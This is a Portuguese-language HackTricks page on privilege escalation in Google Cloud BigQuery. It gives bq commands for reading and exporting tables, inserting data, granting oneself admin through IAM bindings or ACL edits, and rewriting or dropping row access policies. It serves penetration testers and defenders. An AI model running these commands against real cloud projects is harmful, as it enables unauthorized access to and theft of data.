GCP - BigQuery Privesc
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
BigQuery
Para mais informações sobre BigQuery, consulte:
Ler Tabela
Ler as informações armazenadas dentro de uma tabela BigQuery pode ser possível encontrar informações sensíveis. Para acessar as informações, as permissões necessárias são bigquery.tables.get
, bigquery.jobs.create
e bigquery.tables.getData
:
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
Exportar dados
Esta é outra maneira de acessar os dados. Exporte para um bucket de armazenamento em nuvem e baixe os arquivos com as informações.
Para realizar esta ação, as seguintes permissões são necessárias: bigquery.tables.export
, bigquery.jobs.create
e storage.objects.create
.
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
Inserir dados
Pode ser possível introduzir certos dados confiáveis em uma tabela Bigquery para abusar de uma vulnerabilidade em algum outro lugar. Isso pode ser facilmente feito com as permissões bigquery.tables.get
, bigquery.tables.updateData
e bigquery.jobs.create
:
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
# Via insert param
bq insert dataset.table /tmp/mydata.json
bigquery.datasets.setIamPolicy
Um atacante poderia abusar desse privilégio para dar a si mesmo permissões adicionais sobre um conjunto de dados do BigQuery:
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
bigquery.datasets.update
, (bigquery.datasets.get
)
Apenas esta permissão permite atualizar seu acesso a um conjunto de dados do BigQuery modificando os ACLs que indicam quem pode acessá-lo:
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
bigquery.tables.setIamPolicy
Um atacante poderia abusar desse privilégio para dar a si mesmo permissões adicionais sobre uma tabela do BigQuery:
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
bigquery.rowAccessPolicies.update
, bigquery.rowAccessPolicies.setIamPolicy
, bigquery.tables.getData
, bigquery.jobs.create
De acordo com a documentação, com as permissões mencionadas é possível atualizar uma política de linha.
No entanto, usando o cli bq
você precisa de mais algumas: bigquery.rowAccessPolicies.create
, bigquery.tables.get
.
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
É possível encontrar o ID do filtro na saída da enumeração de políticas de linha. Exemplo:
bq ls --row_access_policies <proj>:<dataset>.<table>
Id Filter Predicate Grantees Creation Time Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
Se você tiver bigquery.rowAccessPolicies.delete
em vez de bigquery.rowAccessPolicies.update
, você também pode simplesmente excluir a política:
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
caution
Outra opção potencial para contornar as políticas de acesso a linhas seria apenas mudar o valor dos dados restritos. Se você só pode ver quando term
é Cfba
, basta modificar todos os registros da tabela para ter term = "Cfba"
. No entanto, isso é impedido pelo bigquery.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.